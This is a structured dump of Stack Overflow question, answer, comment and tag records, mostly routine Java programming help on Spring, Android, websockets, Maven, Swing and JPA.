has body: I have a Spring MVC 3.2.8 application with Java configuration. I want to disable url decoding as I have this issue with / in the uri. Spring 3.2.8 should fix this. The problem is, I can't set Url decoding to false in RequestMappingHandlerMapping. I tried to override it with: @Configuration public class MobileWebPublicConfig extends WebMvcConfigurationSupport { @Bean public RequestMappingHandlerMapping requestMappingHandlerMapping() { RequestMappingHandlerMapping handlerMapping = super.requestMappingHandlerMapping(); handlerMapping.setUrlDecode(false); return handlerMapping; } } But when I do this, it breaks my application an auto-wiring stops working. What am I missing? UPDATE: container is Tomcat 6, there is no stacktrace related, the app fails when trying to access an autowired element due to it being null. Commenting the configuration above makes it work fine.
type: Question
accepted answer: http://stackoverflow.com/a/22641135
answer count: 2
has comment: http://stackoverflow.com/comment/33838818
has comment: http://stackoverflow.com/comment/33837737
possible better answer: http://stackoverflow.com/a/22275051
has answer: http://stackoverflow.com/a/22275051
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22641135
upvote count: 1
tagged with: spring
has title: Configure RequestMappingHandlerMapping to not decode url
has comment: http://stackoverflow.com/comment/33837848

http://stackoverflow.com/a/22243120
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22199089
has body: First put your FXMLLoader call into a try/catch to get detailled information about the error.I guess that your path to Screen2Document.fxml is not correct or the import statement for ReportDetails is missing?
has comment: http://stackoverflow.com/comment/33793266

http://stackoverflow.com/a/57660154
upvote count: 4
has body: I just ran into this issue today, the accepted answer wasn't the resolution for me. I tried synchronizing every call to the remote endpoint that was in my code, which was only 4 instances. That did not fix it either. I also tried updating to the latest tomcat version which at this time was 9.0.24 which did not fix it. It seams the source of my issue is that in a single websocket message request that came in, I happen to send two DIFFERENT messages (on purpose) during the request. I verified both sendText calls were properly synchronized, they were getting called about 0.001 milliseconds a part or less in different blocks. My solution that I worked up real quick was to use the Async version of the remote endpoint, and just make sure the last msg's future was done by the time the next msg is requested to be sent. I wasn't thrilled about this but it did fix the issue... here is the class I wrote and I just now reference this object anytime I want to send something over the websocket without requiring the code in a sync block, since the send* methods on this class are already synchronized. Hope this helps someone down the line. NOTE: I did not synchronize anything other than the send* so not sure if Ping/Pong will have the same issue or not, I've never used those. public class WebSocketEndpointAsync implements RemoteEndpoint.Async { private final Session _session; private final Async _ep; private Future&lt;Void&gt; _lastFuture = null; public WebSocketEndpointAsync(Session session, Async ep) { _session = session; _ep = ep; } @Override public long getSendTimeout() { return _ep.getSendTimeout(); } @Override public void setSendTimeout(long timeout) { _ep.setSendTimeout(timeout); } @Override public void setBatchingAllowed(boolean allowed) throws IOException { _ep.setBatchingAllowed(allowed); } @Override public boolean getBatchingAllowed() { return _ep.getBatchingAllowed(); } @Override public void flushBatch() throws IOException { _ep.flushBatch(); } @Override public void sen…
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22257079
type: Answer

http://stackoverflow.com/q/22197664
tagged with: http-request
has answer: http://stackoverflow.com/a/25747581
answer count: 3
score: 3
has answer: http://stackoverflow.com/a/24956817
favorite count: 0
accepted answer: http://stackoverflow.com/a/25747581
tagged with: gwt
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/67487657
upvote count: 3
has title: libgdx's http request method doesn't work on the web application
tagged with: java
linked to: http://stackoverflow.com/q/2169294
possible better answer: http://stackoverflow.com/a/23181916
type: Question
has answer: http://stackoverflow.com/a/23181916
tagged with: libgdx
downvote count: 0
has body: I'm testing the net class of libgdx library to get a json from the page passed to the setUrl method. This portion of code comes from a class called ApplicationScreen that implements the libgdx Screen interface. That's the code: @Override public void show() { String requestContent = null; httpRequest = new HttpRequest(Net.HttpMethods.GET); httpRequest.setUrl("http://localhost/projects/SqlParser/index.php"); httpRequest.setHeader("Content-Type", "text/plain"); httpRequest.setContent(requestContent); Gdx.net.sendHttpRequest(httpRequest, new HttpResponseListener() { public void handleHttpResponse(HttpResponse httpResponse) { final int statusCode = httpResponse.getStatus().getStatusCode(); System.out.println("HTTP Request status: " + statusCode); System.out.println("Content:"); System.out.println(httpResponse.getResultAsString()); } public void failed(Throwable t) { System.out.println("HTTP request failed!"); } }); } When I run the desktop version I get this message on the Console window "HTTP Request Status: 200", followed by the content of the http request, so the code does what I expect it should do. When I run instead the html version I get this message on the Console "HTTP Request status: 0". Any suggestion?

http://stackoverflow.com/a/22255072
answers question: http://stackoverflow.com/q/22219392
type: Answer
has body: I had a problem with opening the layout folder. I needed a xml file with the contents as below: <?xml version="1.0" encoding="utf-8"?> So,this is what I did.I tried updating eclipse but, the problem persisted. So,I just created a new xml file by right-clicking the layout folder.After creating the file,I just copy-pasted the aforementioned content.Hope it helps!
score: 0

http://stackoverflow.com/comment/136711320
has text: The same thing happens when using a `Future`. There is no 'comes into its own' about it. In both cases the operation continues asynchronously. The only difference is in the manner of discovering the result.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22178582

http://stackoverflow.com/q/22227487
has comment: http://stackoverflow.com/comment/97410168
answer count: 4
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/22234693
linked to: http://stackoverflow.com/q/21067968
type: Question
tagged with: restful-url
tagged with: java
has title: RESTful resources - How to structure the urls for a list of objects?
linked to: http://stackoverflow.com/q/20951419
tagged with: restful-architecture
tagged with: jersey
has body: I hope I can explain what is troubling me. Example: I have an object basket with a list of product objects. So normally I would build my routes like this baskets/{basketId}/products/{productId). But product is an interface and there are different implementations like cds and books that all require their own resource representation. So how do I build my routes now? Like one of those?: baskets/{basketId}/products/{productId)/cds, baskets/{basketId}/products/{productId)/books and so on baskets/{basketId}/products/{productId)/cds/{productId} , baskets/{basketId}/products/{productId)/books/{productId} baskets/{basketId}/cds/{productId}, baskets/{basketId}/books/{productId} What would be the restful way?
downvote count: 0
has answer: http://stackoverflow.com/a/22231155
has answer: http://stackoverflow.com/a/22227835
favorite count: 0
tagged with: rest
has answer: http://stackoverflow.com/a/22228926
type: UnansweredQuestion

http://stackoverflow.com/comment/33843860
comment on: http://stackoverflow.com/q/22278479
type: Comment
type: QuestionComment
has text: I am facing this problem too... :-(
score: 3

rgb
tags question: http://stackoverflow.com/q/22176202
tags question: http://stackoverflow.com/q/22265113
type: Tag
tag name: rgb

http://stackoverflow.com/q/22213918
type: UnansweredQuestion
tagged with: tostring
tagged with: java
has comment: http://stackoverflow.com/comment/33727001
has body: I'm trying to get a comparison to work, and for the life of me I cannot figure out what is wrong. StringL l = new StringL(); l.insert("banana", 0); l.insert("orange", 1); l.insert("apple", 2); l.insert("pear", 3); if (!(l.toString().equals("banana, orange, apple, pear")));{ System.out.println("Test failed: should have returned banana, orange, apple, pear but returned " + l.toString());} } However, when I run it, I get: Test failed: should have returned banana, orange, apple, pear but returned banana, orange, apple, pear ToString: public String toString() { String result = ("") ; if(size() &gt; 0) result += stringList.get(0); for(int i = 1; i &lt; size(); i++) result += ", " + stringList.get(i); return result; }
type: Question
has title: toString.equals not working?
has comment: http://stackoverflow.com/comment/33727091
score: 0
has comment: http://stackoverflow.com/comment/33726909
has answer: http://stackoverflow.com/a/22213978
answer count: 1
tagged with: equals

http://stackoverflow.com/q/22173706
tagged with: java
has comment: http://stackoverflow.com/comment/33654013
has answer: http://stackoverflow.com/a/22174369
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33676893
answer count: 1
has comment: http://stackoverflow.com/comment/33654007
has body: I have some connection to url: HttpURLConnection connection = (HttpURLConnection) url.openConnection(); How I can send post parameter to this url that php function: http://www.php.net/manual/en/reserved.variables.request.php can read it ? I try to according this question: Java - sending HTTP parameters via POST method easily but with no success. It just display empty array php code: print_r($_REQUEST,1) java code: HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoOutput(true); connection.setDoInput(true); connection.setInstanceFollowRedirects(false); connection.setRequestMethod("POST"); connection.setRequestProperty("category_name", categoryName); connection.setRequestProperty("complete", complete); DataOutputStream wr = new DataOutputStream(connection.getOutputStream()); connection.getResponseCode(); wr.flush(); wr.close(); connection.disconnect();
linked to: http://stackoverflow.com/q/4205980
tagged with: php
accepted answer: http://stackoverflow.com/a/22174369
type: AnsweredQuestion
has title: How to send post parameter which can be read by php

http://stackoverflow.com/comment/33794429
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22220682
has text: No idea how good the Dalvik JIT/their new AOT compiler is, but HotSpot or any other "desktop" JVM would optimize this to a cmov (for ARMv6 code I guess it'd be two masked moves? Aarch64 has a cmov instruction again). No idea how to check the JITed code on Dalvik though.
score: 0

http://stackoverflow.com/comment/33650582
has text: @tobias_k I can hardly imagine OP would be interested in something on that level of triviality. If he wanted common characters, then he would say "common characters".
type: Comment
comment on: http://stackoverflow.com/q/22171353
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33826717
score: 1
has text: this is a nice solution! another one could be: use an interface with a specific method for this comparison, so you don't have problems when your class has to be derived from a different baseclass than number
type: AnswerComment
comment on: http://stackoverflow.com/a/22269320
type: Comment

http://stackoverflow.com/comment/33893107
type: QuestionComment
has text: You need to revise the way you're using your for-loop at `for(i = 0; i < 256;i = i + 25);` For-loops require `{}` after the conditions where you put your loop logic into it.
comment on: http://stackoverflow.com/q/22305462
score: 0
type: Comment

http://stackoverflow.com/comment/33656545
comment on: http://stackoverflow.com/a/22175121
score: 0
type: Comment
has text: @blackbelt minsdk is 14. You would use MapFragment above 11 and you need to extend Activty
type: AnswerComment

http://stackoverflow.com/comment/33924829
comment on: http://stackoverflow.com/q/22323986
type: QuestionComment
has text: I don't quite understand this. Which abstract method is giving you trouble and on what class? is `MyFilter` in the trace your `InterceptHttpRequestFilter`? AFAIK you should be able to use 2.5 `Filter`'s just fine in a 3.0 container.
score: 0
type: Comment

http://stackoverflow.com/q/22201620
upvote count: 12
has title: How to reduce Spring memory footprint
has comment: http://stackoverflow.com/comment/33711712
tagged with: java
has comment: http://stackoverflow.com/comment/33704970
score: 12
has comment: http://stackoverflow.com/comment/33874939
has answer: http://stackoverflow.com/a/22203200
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33704985
favorite count: 0
tagged with: spring
type: AnsweredQuestion
has body: I would like to ask you HOW (or IF) is possible to reduce Spring framework's RAM footprint. I created a simple helloworld app for demonstrating the issue. There are only two classes and context.xml file: Main - class with main method Test - class used for simulating some "work" (printig Hello in endless loop) context.xml contains only this: &lt;context:component-scan base-package="mypackage" /&gt; Test class contains only metod called init, called after construction: @Component public class Test{ @PostConstruct public void init() { Thread t = new Thread(new Runnable() { @Override public void run() { try { while (true) { System.out.println("Hello " + Thread.currentThread().getName()); Thread.sleep(500); } } catch (InterruptedException ex) { ex.printStackTrace(); } } }); t.start(); } } I prepared two scenarios and in both of them main method contains only one line. In first scenario main method does this: (new Test()).init(); App works without Spring and consumes only aprox. 8MB of RAM. In second scenario main method contains following: new ClassPathXmlApplicationContext(new String[]{"spring/context.xml"}); So the app is initialized throug Spring container and consumes aprox. 45MB of RAM ! Is there any way how to reduce (in best case completely get rid of) this extra memory ? So far I wasn't able to find any fitting solution. I don't mind if there is the extra memory consumption on startup - this is perfectly fine, but after that, I need our app to reduce it. (The story behind this question is a bit more complicated, but this is for me now the core problem.) Thank you
accepted answer: http://stackoverflow.com/a/22203200
tagged with: ram
type: Question
has comment: http://stackoverflow.com/comment/33767304

http://stackoverflow.com/comment/33711903
score: 0
comment on: http://stackoverflow.com/q/22205893
type: Comment
has text: Are there escape characters you have to take into account? Can = be part of a value? Can & be part of a key?
type: QuestionComment

http://stackoverflow.com/q/22214116
has title: Android Error: type mismatch error: Cannot convert Object to Content
answer count: 3
tagged with: android
has body: I am creating a simple application to share images in a grid view in Android. I have created an array but when I tried to create a gridview of those images I got an error with my code that I can't resolve. This is my code : public class ImageAdapter extends BaseAdapter { private Context context; public ImageAdapter(Context arg2) { Object localObject; this.context = localObject; } public int getCount() { return MainActivity.this.mThumbIds.length; } public Object getItem(int paramInt) { return Integer.valueOf(paramInt); } public long getItemId(int paramInt) { return paramInt; } public View getView(int paramInt, View paramView, ViewGroup paramViewGroup) { if (paramView != null) { MainActivity.this.imageView = ((ImageView)paramView); } else { MainActivity.this.imageView = new ImageView(this.context); MainActivity.this.imageView.setLayoutParams(new AbsListView.LayoutParams(90, 90)); MainActivity.this.imageView.setScaleType(ImageView.ScaleType.CENTER_CROP); MainActivity.this.imageView.setPadding(5, 5, 5, 5); } MainActivity.this.imageView.setImageResource(MainActivity.this.mThumbIds[paramInt].intValue()); return MainActivity.this.imageView; } } } I got the error here: Type mismatch error: Cannot convert Object to Content The error is pointing on localObject
has answer: http://stackoverflow.com/a/22214874
has answer: http://stackoverflow.com/a/22214171
type: AnsweredQuestion
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22214181
possible better answer: http://stackoverflow.com/a/22214171
accepted answer: http://stackoverflow.com/a/22214181
has comment: http://stackoverflow.com/comment/33727622
score: 0

http://stackoverflow.com/a/22223113
upvote count: 5
score: 3
type: Answer
downvote count: 2
has body: The most common cause of StackOverFlowError is excessively deep or infinite recursion. For instance: public int yourMethod(){ yourMethod();//infinite recursion } In Java: There are two areas in memory the heap and stack. The stack memory is used to store local variables and function call, while heap memory is used to store objects in Java. If there is no memory left in stack for storing function call or local variable, JVM will throw java.lang.StackOverFlowError while if there is no more heap space for creating object, JVM will throw java.lang.OutOfMemoryError
answers question: http://stackoverflow.com/q/22182669

http://stackoverflow.com/comment/33761076
type: Comment
type: QuestionComment
has text: Have you tried logging onto the Oracle server with the credentials you are passing Hibernate to make sure the table is actually visible?
comment on: http://stackoverflow.com/q/22225914
score: 0

http://stackoverflow.com/q/22172230
has answer: http://stackoverflow.com/a/22173889
has comment: http://stackoverflow.com/comment/54766518
has answer: http://stackoverflow.com/a/58887036
upvote count: 8
answer count: 3
has comment: http://stackoverflow.com/comment/54737519
has comment: http://stackoverflow.com/comment/33654921
has comment: http://stackoverflow.com/comment/54751552
score: 8
favorite count: 0
has comment: http://stackoverflow.com/comment/54790948
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33652462
tagged with: maven
has comment: http://stackoverflow.com/comment/54789137
has comment: http://stackoverflow.com/comment/54727522
tagged with: build
has comment: http://stackoverflow.com/comment/33656985
has comment: http://stackoverflow.com/comment/54775491
tagged with: java
has comment: http://stackoverflow.com/comment/33654447
has answer: http://stackoverflow.com/a/33471036
has comment: http://stackoverflow.com/comment/54727546
type: Question
has comment: http://stackoverflow.com/comment/54735734
has body: Is there way to skip generate-sources in Maven? Doing it via command line options
has title: How to skip generate-sources in Maven
downvote count: 0

http://stackoverflow.com/comment/33694500
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22190690
score: 0
has text: possible duplicate of [Printing date in java with ordinal characters](http://stackoverflow.com/questions/8058279/printing-date-in-java-with-ordinal-characters). And this one, [How do you format the day of the month to say “11th”, “21st” or “23rd” in Java?](http://stackoverflow.com/q/4011075/642706).

http://stackoverflow.com/comment/33791218
type: QuestionComment
has text: okay... i'll edit the code above
comment on: http://stackoverflow.com/q/22246226
score: 0
type: Comment

http://stackoverflow.com/comment/33910116
comment on: http://stackoverflow.com/a/22315422
score: 0
has text: i dont want to include pattern matchers. Thanks :)
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22183041
has comment: http://stackoverflow.com/comment/33675245
has comment: http://stackoverflow.com/comment/33674352
has comment: http://stackoverflow.com/comment/33671913
answers question: http://stackoverflow.com/q/22180954
score: 0
has comment: http://stackoverflow.com/comment/33671393
has body: put the path of your java bin directory under Environment variables. System->Advanced System Settings->Environment Variables->path Open command prompt. use java and javac commands to know if you have successfully installed java and compiler. if it doesn't help, this question has a lot of helpful answers Eclipse - no Java (JRE) / (JDK) ... no virtual machine
has comment: http://stackoverflow.com/comment/33675412
type: Answer

http://stackoverflow.com/q/22328131
has body: How would I initialise the string name and the instance variable named right in the superclass to true from the HighRights class? So if high is an instance of HighRights then high.getSecret(); should return the secret is 42 public class SecurityRights { private boolean right; private boolean canreadSecret; String SECRET="the secret is 42"; public SecurityRights(boolean r) { right =r; if (r) canreadSecret=true; else canreadSecret=false; } boolean getRight(){ return right; } boolean canReadSecret(){ return canreadSecret; } String getSecret(){ if (canreadSecret) return SECRET; else return "access denied"; } } public class HighRights extends SecurityRights { private String name; public HighRights(String n){ } public String getName(){ return name; } public static void main(String[] a){ HighRights s= new HighRights("Lisa"); System.out.print(s.getName() +" "+s.getSecret()); } }
has answer: http://stackoverflow.com/a/22328280
tagged with: initialization
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22329099
has answer: http://stackoverflow.com/a/22328425
has title: Initialising Variables in java
tagged with: java
type: Question
tagged with: variables
has comment: http://stackoverflow.com/comment/33931877
score: 0
answer count: 3

http://stackoverflow.com/comment/33739588
has text: unfortunatly, doesn't work... "Illegal escape character in string literal", message under ":item:view:1:item:\"
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22220262
type: Comment

http://stackoverflow.com/comment/33710026
comment on: http://stackoverflow.com/a/22203928
type: Comment
has text: Oh got it. Actually the bug was on the previous line - variable declared as a Map when it should have been a list.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22171738
has comment: http://stackoverflow.com/comment/33650394
has comment: http://stackoverflow.com/comment/33650222
type: Question
has comment: http://stackoverflow.com/comment/33650336
has answer: http://stackoverflow.com/a/22171816
has comment: http://stackoverflow.com/comment/33650395
has comment: http://stackoverflow.com/comment/33650501
has comment: http://stackoverflow.com/comment/33650319
score: 0
has answer: http://stackoverflow.com/a/35106680
has answer: http://stackoverflow.com/a/22171864
has title: 2 dimensional arrays printing rows as columns java
tagged with: java
has body: We have been asked to print this 2D Array with the columns as rows For example: the first column is 20,11,27 and it has to be printed: 20 11 27 Here's my code so far and I can't even get it printing the columns normally, do any of you guys know what the problem is and if you can help me find a solution to the problem? public class TwoDimensionalArrays { public static void main (String args[]) { final int size1 = 2, size2 = 4, size3 = 5; int [][] numbers = {{20,25,34,19,33}, {11,17,15,45,26}, {27,22,9,41,13}}; int row = 0, col = 0; for(row = 0; row &lt;= size1; row++); //loops through rows { for(col = 0; col &lt;= size2; col++); //loops through columns { System.out.println(numbers[row][col]); } System.out.print("\n"); //takes a new line before each new print } } }
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33650247
answer count: 4
has answer: http://stackoverflow.com/a/22171915
has comment: http://stackoverflow.com/comment/33650719
tagged with: arrays

http://stackoverflow.com/q/22274572
favorite count: 0
tagged with: javadb
has comment: http://stackoverflow.com/comment/33836226
type: Question
has answer: http://stackoverflow.com/a/22279136
tagged with: java
has body: I'm a little bit confused - I want to store the date in JavaDB/Derby database, but which data type is better to use? I can simply store Long like System.currentTimeMillis() and save it to database in BIGINT format. Later I can format it as I want. Or I can store it like TIMESTAMP('1962-09-23 03:23:34.234') using TIMESTAMP data type. Which way is more efficient?
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/22279136
has title: Derby/JavaDB: TIMESTAMP and BIGINT data types - which is better to store the date?
tagged with: derby
has comment: http://stackoverflow.com/comment/33836470
has comment: http://stackoverflow.com/comment/33836422
has comment: http://stackoverflow.com/comment/33836294
type: AnsweredQuestion
tagged with: sql
downvote count: 0
score: 1

http://stackoverflow.com/a/22265052
has comment: http://stackoverflow.com/comment/33819659
has comment: http://stackoverflow.com/comment/33819738
type: Answer
has body: You got a logical mistake, Write the following only, setLayout(layout); setBounds(500,200,500,500); setVisible(true); when you complete addition of items to Main Window(Frame), and sub windows. You Have written that at the start, and adding items to main window and sub windows after that, which is logically incorrect. Also Your Code is too much Ambigous, Where is the Constructor??? Where is your Main Method???
score: 0
answers question: http://stackoverflow.com/q/22264820

http://stackoverflow.com/q/22211264
has comment: http://stackoverflow.com/comment/33722883
favorite count: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33736171
has body: I have a database which stores (among others) Presentations, which is mapped using JPA. These presentations have a starting time, and an endtime. I'd like know whether there's an overlap before adding a new presentation. I am currently doing this with a query that selects all presentations with the same room and same date. I'd like to add the time to this. My times are made using a custom java.sql.Time subclass (I need it for a custom constructor). I obviously don't want to map those in the database. Now I'd like to check whether a certain time is before or after another. I'm currently using the query SELECT p FROM Presentatie p WHERE p.lokaal.code = :lokaal AND p.dag = :dag AND ( p.begin &lt;= :einde OR p.einde &gt;= :begin) but that is flawed because it cannot compare Time classes (my guess that it evaluates to NULL, which would explain the zero-length resultset) I don't know how to do this. I tried adding an int time to the Time class, but I can't reach it as it's not mapped using JPA. I'd also like to know how it checks p.dag = :dag, is it equivalent to dag == dag2or dag.equals(dag2)? And how does it compare the time? time &gt; time2 (but this doesn't compile in Java, so I'm guessing it goes to time.compareTo(time2)&gt;0?
upvote count: 1
score: 1
tagged with: java
type: Question
has title: JPQL comparing Entities
tagged with: jpa
downvote count: 0
tagged with: jpql

http://stackoverflow.com/a/22264959
has body: You can send via ami actions SIPpeers system,all List SIP peers (text format)
has comment: http://stackoverflow.com/comment/33842922
has comment: http://stackoverflow.com/comment/33843518
has comment: http://stackoverflow.com/comment/33854765
has comment: http://stackoverflow.com/comment/33826168
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22244784

http://stackoverflow.com/a/22302982
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33887175
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/22302922
downvote count: 0
answers question: http://stackoverflow.com/q/22302922
has body: According to the Java Language Specification §15.20.1, The value produced by the &lt; operator is true if the value of the left-hand operand is less than the value of the right-hand operand, and otherwise is false. So you are starting at i = 0 and looping while i is less than 6. You need to loop while it is less than 7, or less than or equal to 6. The same applies to your next loop. Change your two loops to: for(int i = 0; i &lt; 7; i++){ for(int j = 0; j &lt; 10; j++){ //stuff } }
score: 5

http://stackoverflow.com/a/22202786
has body: I want to be able to inject my external dependencies(The http client used etc.) and give a way for developers to inject different versions of those dependencies if they wanted or if I ever wanted to change the implementation myself(a good case for dependency injection right?). It is highly arguable that this is a good case for DI. External dependencies like HTTP clients usually have concrete interface that is implemented by no one except exactly that dependency. Personally I can't imagine how your program is written given that swapping underlying HTTP client won't affect its architecture, that is, unless you provide your own facade for it, something like public interface HttpClient { HttpResponse send(HttpRequest request); } where HttpRequest and HttpResponse are also custom classes/interfaces. But providing such kind of extension point to the end user is rarely appropriate, especially if you don't have some reference implementation (this means that the user will have to create this facade for the dependency he/she wants). It is appropriate in rare cases, but chances are this is not your situation. Different versions of the same dependency is also usually not the case for DI because swapping versions can be done at build/assembly time. If you want to expose an ability for the user to provide their own implementations of some of your library "moving parts", then first you have to define strict interface for all these moving parts. In other words, provide a set of interfaces which your user must extend and which are injected in your classes. Then you create your "binding space" consisting of your Guice modules, and in these modules you declare requirements on these interfaces: public class SomeModule extends AbstractModule { @Override protected void configure() { requireBinding(SomeUserAPI.class); // Other bindings which probably use SomeUserAPI in implementations } } By stating required bindings you ensure that no one will be able to mix in your module unless they pr…
has comment: http://stackoverflow.com/comment/33710149
has comment: http://stackoverflow.com/comment/33707972
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22184736
score: 11
upvote count: 11
answers question: http://stackoverflow.com/q/22184736

http://stackoverflow.com/q/22307669
has comment: http://stackoverflow.com/comment/33938394
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33895998
answer count: 2
has title: findelements(by.xpath()) returning only one index of my list
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33895975
has body: The line of code I have here is: List&lt;WebElement&gt; element = driver.findElements(By.xpath("*")); for(int i=0; i&lt;element.size(); i++) { System.out.println(i + element.get(i).getText()); } For some reason when iteratiing through the list it gives me back all the elements in one index of the list. In other words the size of the element is only 1. How can I return the elements into multiple indexes of the list?
score: 1
has comment: http://stackoverflow.com/comment/33896452
has comment: http://stackoverflow.com/comment/33898854
tagged with: xpath
has answer: http://stackoverflow.com/a/22324346
has answer: http://stackoverflow.com/a/22308864
type: UnansweredQuestion
tagged with: selenium
upvote count: 1
tagged with: selenium-webdriver

http://stackoverflow.com/q/22187918
has comment: http://stackoverflow.com/comment/33680067
tagged with: java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33680043
has answer: http://stackoverflow.com/a/22220541
has body: How do I mock this particular snippet? Collection&lt;SeoUrlParam&gt; params = getUrlState().getParameters(); I have already mocked urlState = mock(UrlState.class); But I am not sure how to mock the params collection of type which is infact a class
tagged with: mockito
has title: unable to mock collection objects
type: Question
has answer: http://stackoverflow.com/a/22188051
has comment: http://stackoverflow.com/comment/33680174
score: 0
answer count: 2

http://stackoverflow.com/comment/33969171
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22217930
type: Comment
has text: I don't know what kind of osgi maven bundle you are talking of, but if you run inside Karaf you just need to retrieve the according ConfigAdminService from the service registry.

linux
tags question: http://stackoverflow.com/q/22235432
tags question: http://stackoverflow.com/q/22243390
tags question: http://stackoverflow.com/q/22268983
tags question: http://stackoverflow.com/q/22219119
tags question: http://stackoverflow.com/q/22200319
tags question: http://stackoverflow.com/q/22216241
tags question: http://stackoverflow.com/q/22290554
tags question: http://stackoverflow.com/q/22248348
tags question: http://stackoverflow.com/q/22206586
tags question: http://stackoverflow.com/q/22207427
tags question: http://stackoverflow.com/q/22277451
tags question: http://stackoverflow.com/q/22285545
type: Tag
tags question: http://stackoverflow.com/q/22177850
tags question: http://stackoverflow.com/q/22235367
tags question: http://stackoverflow.com/q/22230727
tags question: http://stackoverflow.com/q/22247668
tags question: http://stackoverflow.com/q/22265501
tags question: http://stackoverflow.com/q/22249958
tag name: linux
tags question: http://stackoverflow.com/q/22239080
tags question: http://stackoverflow.com/q/22250843
tags question: http://stackoverflow.com/q/22174710
tags question: http://stackoverflow.com/q/22304414
tags question: http://stackoverflow.com/q/22307516
tags question: http://stackoverflow.com/q/22312148
tags question: http://stackoverflow.com/q/22324195
tags question: http://stackoverflow.com/q/22224743
tags question: http://stackoverflow.com/q/22279489
tags question: http://stackoverflow.com/q/22250118
tags question: http://stackoverflow.com/q/22247353
tags question: http://stackoverflow.com/q/22193801
tags question: http://stackoverflow.com/q/22228995
tags question: http://stackoverflow.com/q/22218194

http://stackoverflow.com/q/22239023
downvote count: 1
type: Question
score: 0
upvote count: 1
answer count: 1
has body: Guys I have two class here. When i call the main method of Class Game using a jbutton from my other class, only a frame with white screen will appear. here is the code. Thanks for the help. 1st class @SuppressWarnings("serial") public class Game extends JPanel { Ball ball = new Ball(this); Racquet racquet = new Racquet(this); int score = 0; int speed = 1; private int getScore() { return score; } private int getSpeed(){ return speed; } public Game() { addKeyListener(new KeyListener() { @Override public void keyTyped(KeyEvent e) { } @Override public void keyReleased(KeyEvent e) { racquet.keyReleased(e); } @Override public void keyPressed(KeyEvent e) { racquet.keyPressed(e); } }); setFocusable(true); } public void move() { ball.move(); racquet.move(); } @Override public void paint(Graphics g) { super.paintComponent(g); Graphics2D g2d = (Graphics2D) g; g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); ball.paint(g2d); racquet.paint(g2d); g2d.setColor(Color.black); g2d.setFont(new Font("Showcard Gothic", Font.BOLD, 20)); g2d.drawString(String.valueOf("Your Score:" + getScore()), 340, 30); g2d.drawString(String.valueOf("Game Speed:" + getSpeed()), 340, 220); g2d.drawLine(300, 400, 300, -50); } public void gameOver() { JOptionPane.showMessageDialog(this, "your score is: " + getScore(), "Game Over", JOptionPane.YES_NO_OPTION); System.exit(ABORT); } public static void main(String[] args) throws InterruptedException { JFrame frame = new JFrame("Mini Tennis"); Game game = new Game(); frame.add(game); frame.setSize(550, 400); frame.setLocationRelativeTo(null); frame.setVisible(true); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); while (true) { game.move(); game.repaint(); Thread.sleep(10); } } } Second class public class Main extends JFrame implements ActionListener{ JPanel mainPanel; JLabel title; Color bgColor = new Color(51,137,237); JButton startBtn, regBtn, viewBtn, exitBtn; public Main(){ setSize(550, 400); setDefaultCloseOp…
favorite count: 0
has answer: http://stackoverflow.com/a/22239122
type: UnansweredQuestion
tagged with: swing
has title: Calling a main method with paint and thread using a jbutton from another class
tagged with: java

http://stackoverflow.com/q/22276545
has title: Parsing URL to string not working with new Thread
has body: I am new to android and the Async task is too hard for me to implement, so I tried running my URL to string parsing on a new Thread but its not working. The length for the "weather" variable which is supposed to get all data from the URL returns 0 My code: Thread thread = new Thread(new Runnable(){ @Override public void run() { try { int num1; int num2; int num3; int num4; int num5; String weather=""; try { weather = new Scanner(new URL("http://api.openweathermap.org/data/2.5/forecast?lat="+lat+"&lon="+longi+"&units=metric&mode=xml").openStream(), "UTF-8").useDelimiter("\\A").next(); } catch (Exception e) { e.printStackTrace(); } num1=weather.length(); String location=Integer.toString(num1); String status=""; String xml = " good hi "; XPathFactory xpathFactory = XPathFactory.newInstance(); XPath xpath = xpathFactory.newXPath(); InputSource source = new InputSource(new StringReader(weather)); try{ status = xpath.evaluate("/weatherdata/location/name", source); } catch (Exception e) { // e.printStackTrace(); } //System.out.println(weather); System.out.println("weatherdisplay=" + weather); System.out.println("status=" + status); System.out.println("Location display=" + location); textCountry=(TextView)findViewById(R.id.textView6); textCountry.setText(location); //Your code goes here } catch (Exception e) { e.printStackTrace(); } } }); thread.start();
tagged with: java
has answer: http://stackoverflow.com/a/22276573
type: Question
answer count: 1
tagged with: url
tagged with: string
tagged with: android
has comment: http://stackoverflow.com/comment/33840111
type: UnansweredQuestion
score: 0
tagged with: multithreading

http://stackoverflow.com/comment/33850368
has text: @AndrzejBobak Upon further inspection I see that there is a huge bug since a UPC can start with 0. If the first digit is a zero everything is hopelessly broken. Would you suggest adding a leftmost 1 as a placeholder and modifying the calculations or would there be possible bugs with that as well?
type: AnswerComment
comment on: http://stackoverflow.com/a/22281134
score: 0
